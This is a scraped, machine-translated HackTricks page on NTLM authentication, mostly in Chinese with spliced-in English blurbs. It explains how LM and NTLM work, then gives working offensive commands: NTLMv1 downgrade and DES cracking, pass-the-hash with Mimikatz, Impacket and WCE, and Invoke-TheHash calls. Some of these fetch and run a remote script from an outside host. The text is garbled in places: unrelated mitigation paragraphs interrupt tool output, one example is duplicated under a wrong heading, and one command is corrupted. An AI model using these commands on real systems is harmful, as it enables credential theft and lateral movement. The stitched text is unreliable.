hacktricks/windows-hardening/ntlm
2024-05-05 22:03:00 +00:00
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atexec.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:09:47 +00:00
places-to-steal-ntlm-creds.md Translated ['forensics/basic-forensic-methodology/memory-dump-analysis/R 2024-02-09 02:09:47 +00:00
psexec-and-winexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:27:24 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-05-05 22:03:00 +00:00
smbexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:27:24 +00:00
winrm.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:27:24 +00:00
wmicexec.md Translated ['forensics/basic-forensic-methodology/README.md', 'forensics 2024-02-09 01:27:24 +00:00

NTLM

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基本信息

在运行Windows XP和Server 2003的环境中通常会使用LMLan Manager哈希尽管众所周知这些哈希很容易被破解。特定的LM哈希 AAD3B435B51404EEAAD3B435B51404EE 表示LM未被使用的情况代表空字符串的哈希。

默认情况下,Kerberos认证协议是主要使用的方法。在特定情况下NTLMNT LAN Manager会介入缺乏Active Directory、域不存在、由于配置不当导致Kerberos故障或者尝试使用IP地址而不是有效主机名进行连接。

网络数据包中存在**"NTLMSSP"**头部表示进行了NTLM认证过程。

系统文件 %windir%\Windows\System32\msv1\_0.dll 中包含的特定DLL支持LM、NTLMv1和NTLMv2认证协议。

关键点

  • LM哈希存在漏洞空LM哈希 (AAD3B435B51404EEAAD3B435B51404EE) 表示未使用。
  • Kerberos是默认认证方法仅在特定条件下使用NTLM。
  • 通过"NTLMSSP"头部可识别NTLM认证数据包。
  • 系统文件 msv1\_0.dll 支持LM、NTLMv1和NTLMv2协议。

LM、NTLMv1和NTLMv2

您可以检查和配置将使用的协议:

图形界面

执行 secpol.msc -> 本地策略 -> 安全选项 -> 网络安全: LAN 管理器身份验证级别。有6个级别从0到5

注册表

这将设置级别5

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v lmcompatibilitylevel /t REG_DWORD /d 5 /f

可能的取值:

0 - Send LM & NTLM responses
1 - Send LM & NTLM responses, use NTLMv2 session security if negotiated
2 - Send NTLM response only
3 - Send NTLMv2 response only
4 - Send NTLMv2 response only, refuse LM
5 - Send NTLMv2 response only, refuse LM & NTLM

基本的NTLM域身份验证方案

  1. 用户输入他的凭证
  2. 客户端机器发送身份验证请求,发送域名用户名
  3. 服务器发送挑战
  4. 客户端使用密码的哈希加密挑战,并将其作为响应发送
  5. 服务器将域控制器发送域名、用户名、挑战和响应。如果没有配置活动目录或域名是服务器的名称,则在本地检查凭证
  6. 域控制器检查一切是否正确并将信息发送给服务器

服务器域控制器能够通过Netlogon服务器创建安全通道,因为域控制器知道服务器的密码(它在NTDS.DIT数据库中)。

本地NTLM身份验证方案

身份验证与之前提到的相同,但是服务器知道尝试在SAM文件中进行身份验证的用户的哈希。因此,服务器将自行检查用户是否可以进行身份验证。

NTLMv1挑战

挑战长度为8字节响应长度为24字节

哈希NT16字节分为3个部分每个部分为7字节7B + 7B +2B+0x00*5最后一部分填充为零。然后,挑战分别与每个部分加密,并将结果加密字节连接。总计8B + 8B + 8B = 24字节。

问题

  • 缺乏随机性
  • 3个部分可以分别攻击以找到NT哈希
  • DES是可破解的
  • 第3个密钥始终由5个零组成。
  • 给定相同的挑战响应将是相同的。因此,您可以将字符串“1122334455667788”作为挑战提供给受害者,并使用预先计算的彩虹表攻击使用的响应。

NTLMv1攻击

现在越来越少地发现配置了无限制委派的环境,但这并不意味着您不能滥用配置了打印池服务的情况。

您可以滥用您已经在AD上拥有的一些凭证/会话,要求打印机对某个您控制的主机进行身份验证。然后,使用metasploit auxiliary/server/capture/smbresponder您可以将身份验证挑战设置为1122334455667788捕获身份验证尝试如果使用NTLMv1进行身份验证,则可以破解
如果您使用responder,您可以尝试使用标志--lm来尝试降级****身份验证
请注意对于此技术身份验证必须使用NTLMv1执行NTLMv2无效

请记住,打印机将在身份验证期间使用计算机帐户,并且计算机帐户使用长且随机的密码,您可能无法使用常见字典破解。但NTLMv1身份验证使用DES更多信息请参见此处因此使用一些专门用于破解DES的服务您将能够破解它例如您可以使用https://crack.sh/)。

使用hashcat的NTLMv1攻击

NTLMv1也可以使用NTLMv1多工具https://github.com/evilmog/ntlmv1-multi进行破解该工具以一种可以使用hashcat破解的方法格式化NTLMv1消息。

命令

python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788

NTLM Relaying

Introduction

NTLM relaying is a common technique used by attackers to move laterally within a network by leveraging the NTLM authentication protocol. This technique involves relaying NTLM authentication messages from a compromised host to another host in order to gain unauthorized access.

How it works

  1. The attacker intercepts an NTLM authentication request from a victim host to a server.
  2. The attacker relays this request to another host within the network.
  3. The second host processes the authentication request, thinking it is coming from the victim host.
  4. If successful, the attacker gains access to the second host using the victim's credentials.

Mitigation

To mitigate NTLM relaying attacks, it is recommended to:

  • Implement SMB signing to prevent interception and tampering of authentication messages.
  • Enforce the use of SMB packet signing to ensure the integrity and authenticity of transmitted data.
  • Disable NTLM authentication in favor of more secure protocols like Kerberos.
  • Regularly monitor network traffic for any suspicious activity related to NTLM authentication.
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']

Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595

To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

Windows Hardening - NTLM


Overview

NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. However, NTLM has known vulnerabilities that can be exploited by attackers to compromise a system. This document outlines techniques to harden Windows systems against NTLM-related attacks.


Recommendations

  1. Disable NTLMv1: NTLMv1 is known to be vulnerable to various attacks. It is recommended to disable NTLMv1 and use NTLMv2 or Kerberos for authentication.

  2. Enforce SMB Signing: Enabling SMB signing helps protect against man-in-the-middle attacks that can tamper with SMB packets. This can be configured via Group Policy.

  3. Restrict NTLM: Limit the use of NTLM authentication in your environment. Prefer modern authentication mechanisms like Kerberos or LDAP.

  4. Enable LDAP Signing: LDAP signing ensures the integrity and confidentiality of data exchanged between LDAP clients and servers. This can help prevent LDAP relay attacks.

  5. Monitor NTLM Traffic: Regularly monitor and analyze NTLM traffic in your network for any suspicious activity. This can help detect potential attacks in their early stages.

  6. Implement Multi-Factor Authentication (MFA): MFA adds an extra layer of security by requiring users to provide multiple forms of verification before accessing resources. This can help mitigate the risk of NTLM attacks.

By following these recommendations, you can enhance the security of your Windows systems and reduce the risk of NTLM-related security incidents.

727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788

运行 hashcat最好通过 hashtopolis 等工具进行分布式),否则这将需要几天的时间。

./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1

在这种情况下我们知道密码是password所以我们将为演示目的而作弊

python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926
DESKEY2: bcba83e6895b9d

echo b55d6d04e67926>>des.cand
echo bcba83e6895b9d>>des.cand

我们现在需要使用hashcat工具将破解的DES密钥转换为NTLM哈希的一部分

./hashcat-utils/src/deskey_to_ntlm.pl b55d6d05e7792753
b4b9b02e6f09a9 # this is part 1

./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
bd760f388b6700 # this is part 2

最后一部分:

./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788

586c # this is the last part

NTLM

Overview

NTLM (NT LAN Manager) is a suite of Microsoft security protocols that provides authentication, integrity, and confidentiality to users. It is commonly used for authentication in Windows environments.

NTLM Hash

The NTLM hash is a cryptographic hash used in the NTLM authentication protocol. It is generated by using a cryptographic hash function on the user's password. The hash is used to authenticate users without sending their actual password over the network.

Pass-the-Hash Attack

A pass-the-hash attack is a common technique used by attackers to move laterally within a network without the need to know the user's plaintext password. Instead, the attacker steals the NTLM hash of a user and uses it to authenticate as that user.

Mitigations

To mitigate pass-the-hash attacks, it is recommended to implement the following security measures:

  1. Use Strong Passwords: Encourage users to use complex and unique passwords to make it harder to crack the NTLM hash.
  2. Enable NTLMv2: NTLMv2 is more secure than NTLMv1 and provides better protection against pass-the-hash attacks.
  3. Restrict NTLM: Limit the use of NTLM where possible and consider transitioning to more secure authentication protocols like Kerberos.

By following these mitigations, organizations can reduce the risk of pass-the-hash attacks and enhance the overall security of their Windows environments.

NTHASH=b4b9b02e6f09a9bd760f388b6700586c

NTLMv2 Challenge

挑战长度为8字节发送2个响应:一个长度为24字节另一个的长度是可变的

第一个响应是通过使用HMAC_MD5加密由客户端和域组成的字符串,并使用NT hashMD4哈希作为密钥来创建的。然后,将结果用作使用HMAC_MD5加密挑战密钥。为此,将添加8字节的客户端挑战。总共24字节。

第二个响应是使用多个值(新的客户端挑战,时间戳以避免重放攻击...)创建的。

如果您有捕获到成功身份验证过程的pcap文件,您可以按照此指南获取域、用户名、挑战和响应,并尝试破解密码:https://research.801labs.org/cracking-an-ntlmv2-hash/

Pass-the-Hash

一旦您获得受害者的哈希值,您可以使用它来冒充受害者。
您需要使用一个工具,该工具将使用该哈希值执行****NTLM身份验证您可以创建一个新的会话登录注入哈希值LSASS中,因此当执行任何NTLM身份验证时,将使用该哈希值。最后一种选择是mimikatz所做的。

请记住您也可以使用计算机帐户执行Pass-the-Hash攻击。

Mimikatz

需要以管理员身份运行

Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

这将启动一个进程该进程将属于启动mimikatz的用户但在LSASS内部保存的凭据是mimikatz参数中的凭据。然后您可以访问网络资源就好像您是那个用户类似于runas /netonly技巧,但您不需要知道明文密码)。

从Linux执行Pass-the-Hash

您可以使用Linux从Windows机器中执行Pass-the-Hash来获得代码执行。
点击这里了解如何执行。

Impacket Windows编译工具

您可以在此处下载Windows的Impacket二进制文件

  • psexec_windows.exe C:\AD\MyTools\psexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.my.domain.local
  • wmiexec.exe wmiexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local
  • atexec.exe在这种情况下您需要指定一个命令cmd.exe和powershell.exe无法获得交互式shellC:\AD\MyTools\atexec_windows.exe -hashes ":b38ff50264b74508085d82c69794a4d8" svcadmin@dcorp-mgmt.dollarcorp.moneycorp.local 'whoami'
  • 还有其他几个Impacket二进制文件...

Invoke-TheHash

您可以从这里获取PowerShell脚本https://github.com/Kevin-Robertson/Invoke-TheHash

Invoke-SMBExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

调用-WMIExec

Invoke-SMBExec -Target dcorp-mgmt.my.domain.local -Domain my.domain.local -Username username -Hash b38ff50264b74508085d82c69794a4d8 -Command 'powershell -ep bypass -Command "iex(iwr http://172.16.100.114:8080/pc.ps1 -UseBasicParsing)"' -verbose

调用-SMBClient

Invoke-SMBClient -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 [-Action Recurse] -Source \\dcorp-mgmt.my.domain.local\C$\ -verbose

调用 Invoke-SMBEnum

Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff50264b74508085d82c69794a4d8 -Target dcorp-mgmt.dollarcorp.moneycorp.local -verbose

调用-TheHash

此函数是所有其他函数的混合。您可以传递多个主机排除某些主机,并选择您想要使用的选项SMBExecWMIExecSMBClientSMBEnum)。如果您选择任何一个SMBExecWMIExec,但提供任何 Command 参数,它将只是检查您是否具有足够的权限

Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty    h F6F38B793DB6A94BA04A52F1D3EE92F0

Evil-WinRM 传递哈希

Windows凭证编辑器WCE

需要以管理员身份运行

此工具将执行与mimikatz相同的操作修改LSASS内存

wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>

使用用户名和密码手动在Windows上执行远程操作

{% content-ref url="../lateral-movement/" %} lateral-movement {% endcontent-ref %}

从Windows主机中提取凭据

有关 如何从Windows主机获取凭据的更多信息请阅读此页面

NTLM中继和Responder

阅读有关如何执行这些攻击的更详细指南:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

从网络捕获中解析NTLM挑战

您可以使用 https://github.com/mlgualtieri/NTLMRawUnHide

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家